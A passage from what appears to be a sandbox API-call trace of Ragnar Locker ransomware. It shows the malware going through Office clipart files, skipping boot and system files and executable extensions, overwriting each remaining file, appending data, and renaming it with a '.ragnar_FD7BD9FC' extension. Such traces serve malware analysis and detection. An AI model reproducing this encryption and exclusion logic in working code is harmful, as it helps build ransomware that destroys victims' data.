returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ragnar_FD7BD9FC" [0089.571] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0089.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.572] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00726_.WMF" | out: lpString1="PE00726_.WMF") returned="PE00726_.WMF" [0089.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF") returned=".WMF" [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="autorun.inf") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="boot.ini") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="bootfont.bin") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="bootsect.bak") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="bootmgr") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="bootmgr.efi") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="desktop.ini") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="iconcache.db") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="ntldr") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="ntuser.dat") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.572] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="ntuser.ini") returned 1 [0089.573] lstrcmpiW (lpString1="PE00726_.WMF", lpString2="thumbs.db") returned -1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.573] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf")) returned 0x20 [0089.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.573] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=45476) returned 1 [0089.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb19b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.573] GetProcessHeap () returned 0x580000 [0089.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.573] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.575] VirtualAlloc (lpAddress=0x0, dwSize=0xb1a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.575] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb1a4, lpOverlapped=0x0) returned 1 [0089.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.577] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.577] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb1a4, lpOverlapped=0x0) returned 1 [0089.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.578] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.578] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.578] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.578] GetProcessHeap () returned 0x580000 [0089.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.578] CloseHandle (hObject=0xf4) returned 1 [0089.578] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" [0089.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ragnar_FD7BD9FC" [0089.579] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0089.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.579] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00737_.WMF" | out: lpString1="PE00737_.WMF") returned="PE00737_.WMF" [0089.579] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF") returned=".WMF" [0089.579] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.579] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="autorun.inf") returned 1 [0089.579] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="boot.ini") returned 1 [0089.579] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="bootfont.bin") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="bootsect.bak") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="bootmgr") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="bootmgr.efi") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="desktop.ini") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="iconcache.db") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="ntldr") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="ntuser.dat") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="ntuser.ini") returned 1 [0089.580] lstrcmpiW (lpString1="PE00737_.WMF", lpString2="thumbs.db") returned -1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.580] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf")) returned 0x20 [0089.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.581] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40492) returned 1 [0089.581] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9e23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.581] GetProcessHeap () returned 0x580000 [0089.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.581] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.583] VirtualAlloc (lpAddress=0x0, dwSize=0x9e2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.583] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9e2c, lpOverlapped=0x0) returned 1 [0089.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.585] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.585] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9e2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9e2c, lpOverlapped=0x0) returned 1 [0089.585] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.585] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9e2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.585] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.585] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.585] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.586] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.586] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.586] GetProcessHeap () returned 0x580000 [0089.586] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.586] CloseHandle (hObject=0xf4) returned 1 [0089.586] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" [0089.586] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ragnar_FD7BD9FC" [0089.586] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.587] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0089.587] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.587] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00833_.WMF" | out: lpString1="PE00833_.WMF") returned="PE00833_.WMF" [0089.587] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF") returned=".WMF" [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="autorun.inf") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="boot.ini") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="bootfont.bin") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="bootsect.bak") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="bootmgr") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="bootmgr.efi") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="desktop.ini") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="iconcache.db") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="ntldr") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="ntuser.dat") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="ntuser.ini") returned 1 [0089.587] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="thumbs.db") returned -1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.587] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf")) returned 0x20 [0089.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.588] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7328) returned 1 [0089.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.588] GetProcessHeap () returned 0x580000 [0089.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.588] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.589] VirtualAlloc (lpAddress=0x0, dwSize=0x1ca0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.590] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ca0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ca0, lpOverlapped=0x0) returned 1 [0089.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ca0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.591] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ca0, lpOverlapped=0x0) returned 1 [0089.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ca0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.591] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ca0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.591] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.591] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.591] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.591] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.591] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.592] GetProcessHeap () returned 0x580000 [0089.592] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.592] CloseHandle (hObject=0xf4) returned 1 [0089.592] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" [0089.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ragnar_FD7BD9FC" [0089.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.592] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, 